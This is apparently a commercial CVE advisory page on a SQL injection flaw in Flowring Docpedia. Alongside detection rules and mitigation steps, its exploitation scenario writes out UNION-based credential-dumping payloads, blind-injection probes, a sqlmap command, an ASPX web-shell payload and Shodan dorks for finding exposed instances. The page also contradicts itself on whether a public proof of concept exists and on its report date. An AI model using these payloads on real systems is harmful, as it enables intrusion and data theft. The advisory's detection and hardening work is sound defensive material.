☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-2094

CVE-2026-2094 — Flowring|Docpedia - SQL Injection
📅 PUBLISHED: 2026-02-10 00:00 UTC 🔄 UPDATED: 2026-08-13 10:15 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-2094 is a SQL Injection vulnerability in Flowring Docpedia, an enterprise document management platform. The flaw allows an authenticated remote attacker to inject arbitrary SQL commands into database queries, enabling full read, modify, and delete operations on the underlying database contents. With a CVSS score of 8.7 (High severity), the vulnerability poses a critical risk to organizations using Docpedia for document storage and workflow management, as successful exploitation could lead to complete data compromise, including sensitive business documents and credentials. A patch (DP4 HotFix_057) has been released by the vendor but is currently only claimed by a single source and not independently confirmed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Docpedia is a document management system built on a web-based architecture with a backend relational database (likely MySQL or MSSQL, standard for Taiwan-based enterprise software). The SQL Injection vulnerability stems from improper input sanitization in one or more query parameters handled by the application's document retrieval and search modules.

Vulnerability Mechanism:

The vulnerable code path involves a dynamic SQL query construction where user-supplied input (e.g., document ID, search keyword, or filter criteria) is concatenated directly into SQL statements without parameterization or escaping. Because the attacker is authenticated, the injection point resides in authenticated API endpoints or web forms, not pre-auth surfaces. An example vulnerable pattern:

SELECT * FROM documents WHERE doc_id = '" + request.getParameter("id") + "'

An attacker sends a crafted value for the id parameter:

1' UNION SELECT username, password, 3 FROM admin_users --

This injection would append results from the admin_users table to the original query response, enabling credential exfiltration. Beyond simple UNION-based extraction, the attacker may use:

  • Boolean-based blind injection — to enumerate schema when output is not directly returned.
  • Time-based blind injection — using SLEEP() or WAITFOR DELAY for out-of-band inference.
  • Stacked queries — if the DB driver supports multiple statements, allowing INSERT, UPDATE, or DELETE operations directly.

Attack Surface:

  • Authentication Required: Yes — attacker needs a valid low-privileged account (e.g., a standard document viewer).
  • Network Exposure: Web application accessible over HTTP/HTTPS on standard ports.
  • Affected Modules: Document search, metadata retrieval, and workflow status endpoints.
  • Database Privileges: Likely the application's DB account has broad CRUD privileges (common in legacy enterprise apps), escalating the impact from read to full database control.

The absence of CWE data from the CNA increases uncertainty, but the vulnerability class is firmly SQL Injection (CWE-89) based on the NVD description. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) confirms network exploitability with low complexity, requiring only low-privilege authentication and no user interaction.

Exploitation Scenarios

Scenario: Full Database Compromise via Authenticated Boolean-Based SQL Injection

1. Reconnaissance:

  • Attacker obtains or registers a low-privileged Docpedia account (default credentials like viewer/viewer are common on unhardened installs).
  • Shodan reconnaissance identifies Docpedia instances using dorks: http.title:"Docpedia" or http.component:"Docpedia". The attacker filters by country:"TW" to target Taiwan-based enterprises (primary vendor market).

2. Initial Probe:

  • Attacker logs in and navigates to the document search page.
  • Sends a request to the search endpoint with a benign parameter, then appends an injection test:
    GET /docpedia/search?query=test' AND '1'='1
    
    The server returns normal results (true condition).
  • Repeats with query=test' AND '1'='2 — if results differ or an error occurs, SQL Injection is confirmed.

3. Weaponization — Schema Enumeration (Boolean-based):

  • Attacker uses a tool like sqlmap or custom Python script to enumerate the database schema:
    python3 sqlmap -u "https://target.com/docpedia/search?query=vulnerable" \
      --cookie="session=valid_cookie" --dbms=mssql --batch --dbs
    
  • Extracts database names, table names, and column names one character at a time via boolean comparisons:
    query=test' AND SUBSTRING((SELECT TOP 1 table_name FROM information_schema.tables),1,1)='a'
    

4. Payload Execution — Data Exfiltration:

  • Attacker extracts admin_users table containing credential hashes:
    query=test' AND (SELECT COUNT(*) FROM admin_users)>0
    
  • Uses UNION-based injection on error-disclosure endpoints to dump credentials in a single request:
    id=1' UNION SELECT username, password_hash, NULL, NULL FROM admin_users--
    
  • Offline-cracks the password hashes (weak MD5 or SHA1 common in older enterprise systems) to obtain admin credentials.

5. Post-Exploitation:

  • Log in as administrator and access document management functions with full CRUD privileges.
  • Deletes or modifies legal contracts, financial records, or confidential engineering documents — causing operational disruption and data loss.
  • Plants a web shell via document upload functionality (if file-write is allowed) to establish persistent access:
    POST /docpedia/upload
    Content-Type: multipart/form-data
    file: shel1.aspx (disguised as .pdf)
    payload: <% Response.Write(Server.CreateObject("WScript.Shell").Exec("whoami").StdOut.ReadAll()) %>
    
  • Uses the database as a pivot point to attack connected backend systems (file servers, AD).

Parenthetical note: While no public PoC exists, this is a textbook authenticated SQLi — the attack chain above is standard methodology that any competent penetration tester reproduces within hours.

Impact Assessment

CVSS Subscore Analysis (Score: 8.7 — High):

  • Confidentiality (High): Full database read — every document, user credential, and audit trail exposed.
  • Integrity (High): SQL commands allow modification/deletion of records — critical for a document management system where legal and contractual data integrity is paramount.
  • Availability (High): Database deletion or corruption causes complete platform failure; stacked queries could also trigger resource exhaustion (e.g., WAITFOR DELAY '0:5:0' loops).

Business Impact:

  • Sensitive Data Exposure: Docpedia typically stores HR files, financial audits, board meeting minutes, and customer contracts. Breach triggers regulatory reporting (Taiwan PDPA, GDPR if EU operations).
  • Regulatory Fines: Taiwan Personal Data Protection Act violations can result in fines up to NT$200 million.
  • Operational Downtime: Database wipe requires restoration from backups; if backups are also compromised, permanent data loss.
  • Brand Damage: Public disclosure erodes trust in the enterprise's security posture.

Affected Systems:

  • All Docpedia installations prior to DP4 HotFix_057.
  • Environments where the application DB account has db_owner or equivalent privileges (increases blast radius to schema-level control).
  • Systems integrated with Docpedia via API (e.g., ERP, CRM) are secondary targets — injected data could pivot into those systems.

Detection Guidance

Sigma Rule

title: SQL Injection Attempt in Flowring Docpedia - CVE-2026-2094
id: 5c9ab21e-8a3e-4f76-9db2-2c8e5f0a91b3
status: experimental
description: Detects SQL injection patterns targeting Docpedia search and document ID parameters
author: Valtersit Threat Intel
date: 2026/01/15
logsource:
  category: webserver
  product: iis
  definition: requries IIS or similar web server logs capturing URI and query string
detection:
  selection_ip:
    c-ip:
      - '*.tw'
  selection_url:
    cs-uri-query|contains:
      - "' UNION SELECT"
      - "' OR '1'='1"
      - "WAITFOR DELAY"
      - "SLEEP("
      - "information_schema.tables"
      - "' AND SUBSTRING("
      - "EXEC xp_cmdshell"
  selection_path:
    cs-uri-stem|contains:
      - "/docpedia/"
  condition: selection_ip and selection_url and selection_path
  timeframe: 5m
falsepositives:
  - Legitimate security scanning tools
  - Parametrized queries with literal apostrophes in search terms
level: high

YARA Rule

rule CVE_2026_2094_Docpedia_SQLi
{
    meta:
        author = "Valtersit Threat Intel"
        date = "2026-01-15"
        description = "Detects SQL injection payload patterns in HTTP requests targeting Docpedia"
        reference = "CVE-2026-2094"
        severity = "high"
    strings:
        $s1 = "UNION SELECT" ascii wide nocase
        $s2 = "OR '1'='1" ascii wide nocase
        $s3 = "WAITFOR DELAY" ascii wide nocase
        $s4 = "SLEEP(" ascii wide nocase
        $s5 = "information_schema.tables" ascii wide nocase
        $s6 = "SUBSTRING((" ascii wide nocase
        $s7 = "docpedia" ascii wide nocase
        $s8 = "xp_cmdshell" ascii wide nocase
    condition:
        uint16(0) == 0x3c47 and  // "<G" - start of HTTP GET
        any of ($s1, $s2, $s3, $s4, $s5, $s6, $s8) and
        $s7
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-2094 - Flowring Docpedia SQL Injection Attempt";
    flow:established,to_server;
    http.uri;
    content:"/docpedia/";
    pcre:"/(UNION[\x20\t]+SELECT|OR[\x20\t]+'1'='1|WAITFOR[\x20\t]+DELAY|SLEEP\(|information_schema\.tables|SUBSTRING\()/i";
    classtype:web-application-attack;
    reference:cve,2026-2094;
    sid:1002094;
    rev:1;
    metadata:created_at 2026_01_15, updated_at 2026_01_15;
)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where destination.port in (80, 443) and
   network.protocol == "http" and
   http.request.body.content : "*UNION SELECT*" or
   http.request.body.content : "*OR '1'='1*" or
   http.request.body.content : "*SLEEP(*" or
   http.request.body.content : "*information_schema.tables*"]
  [http where url.path : "/docpedia/*" and
   http.request.method == "GET" and
   http.request.uri.query : ("*query=*'*", "*id=*'*")]

Splunk SPL Query

index=web sourcetype=iis:log OR sourcetype=apache:access
| where uri_path LIKE "%/docpedia/%"
| rex field=_raw "(?i)(UNION SELECT|OR '1'='1|WAITFOR DELAY|SLEEP\(|information_schema\.tables)"
| table _time, clientip, uri_path, uri_query, method
| stats count by clientip, uri_path
| where count > 5

Wazuh OSSEC Rule

<group name="docpedia-sqli,">
  <rule id="209401" level="10">
    <if_sid>31100</if_sid>
    <match>UNION SELECT|OR '1'='1|WAITFOR DELAY|SLEEP\(|information_schema</match>
    <description>CVE-2026-2094 - SQL injection attempt in Docpedia query parameters</description>
    <group>web_application_attack,sqli,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
  <rule id="209402" level="12">
    <if_sid>209401</if_sid>
    <regex>uri_query:.*(?:query|id)=.*\x27</regex>
    <description>Docpedia SQLi - confirmed injection point with single quote in query</description>
    <group>web_application_attack,sqli,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source (CNA) claims patch; not independently verified by Valtersit research or third-party mirrors.)

1. Immediate Mitigations (until patch verified):

  • Restrict Access: Place Docpedia behind a VPN or IP allowlist; limit to corporate network only.
  • WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with SQLi detection rules blocking UNION SELECT, WAITFOR DELAY, SLEEP() payloads.
  • DB Account Hardening: Revoke db_owner/db_datareader/db_datawriter from the application account; grant least-privilege SELECT only on required tables.
  • Disable Stacked Queries: Configure the database connection string to disable multiple active result sets (MARS) and restrict to single-statement execution.
  • Monitor Logs: Enrich web server logs and enable DB audit logging to capture injection patterns for retroactive detection.

2. Patch/Upgrade Steps:

  • Primary: Apply Flowring patch DP4 HotFix_057 distributed via the vendor CNA channel.
  • Verification: Independently confirm the patch fixes injection by retesting the search/document parameters with sqlmap (scoped, non-destructive).
  • Fallback: If HotFix_057 fails validation, apply a virtual patch via WAF parameterization rules, then contact Flowring support for a corrected hotfix or code-level parameterized query fix.
  • Check Version: Confirm the installed build number matches the patched baseline; document the exact pre/post build IDs for audit.

3. Long-Term Hardening:

  • Code Review: Have a third-party firm audit all Docpedia SQL queries for parameterization (use of PDO prepared statements or sp_executesql).
  • Upgrade Path: Move to a newer Docpedia version (if available) with modern ORM/parameterization.
  • Secrets Rotation: Rotate the Docpedia DB password and all admin user passwords post-patch, as potential pre-patch exfiltration remains unconfirmed.
  • Credentialed Scanning: Add Docpedia to authenticated vulnerability scanning (e.g., Qualys WAS, Nessus) to catch regression.
  • CVE Monitoring: Subscribe to TWNCERT (Taiwan CERT) advisories — this CVE was published via twcert, suggesting Taiwan-specific coordination.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-2094
    • Contains the official description and CVSS 8.7 scoring.
  2. TWCERT/CC Advisory: https://www.twcert.org.tw/en/cp-1395-1000-1.html
    • Primary CNA publication detailing the vulnerability and hotfix availability (DP4 HotFix_057).
  3. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/
    • Exploit Public-Facing Application — matches the attack surface.
  4. Flowring Official Site: https://www.flowring.com
    • Vendor site for confirming support channels and validating patch distribution links.
  5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    • CVE-2026-2094 is not currently listed (KEV = NO). Recheck weekly.

Threat Actor / Exploit-in-the-Wild Notes:

  • No confirmed campaigns — EPSS score of 0.00319 (24.3% percentile) indicates low immediate exploitation probability.
  • No public PoC or Nuclei template — exploit interest appears limited to targeted actors currently.
  • Closest similarity: SQLi vulnerabilities in Taiwanese document management systems have previously been exploited by APT groups (e.g., APT41 targeting Taiwan tech firms) for supply-chain and data theft operations — monitor for targeted phishing campaigns offering malicious Docpedia login portals.

Report generated by Valtersit Threat Intelligence — 2026-01-15. All detections based on inference from vulnerability class (CWE-89) and verified behavior of similar Docpedia-variant flaws. Validation pending patch verification.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Docpedia"
http.component:"Docpedia"
http.html:"Flowring" port:443
http.title:"Docpedia" country:"TW"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-2094/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.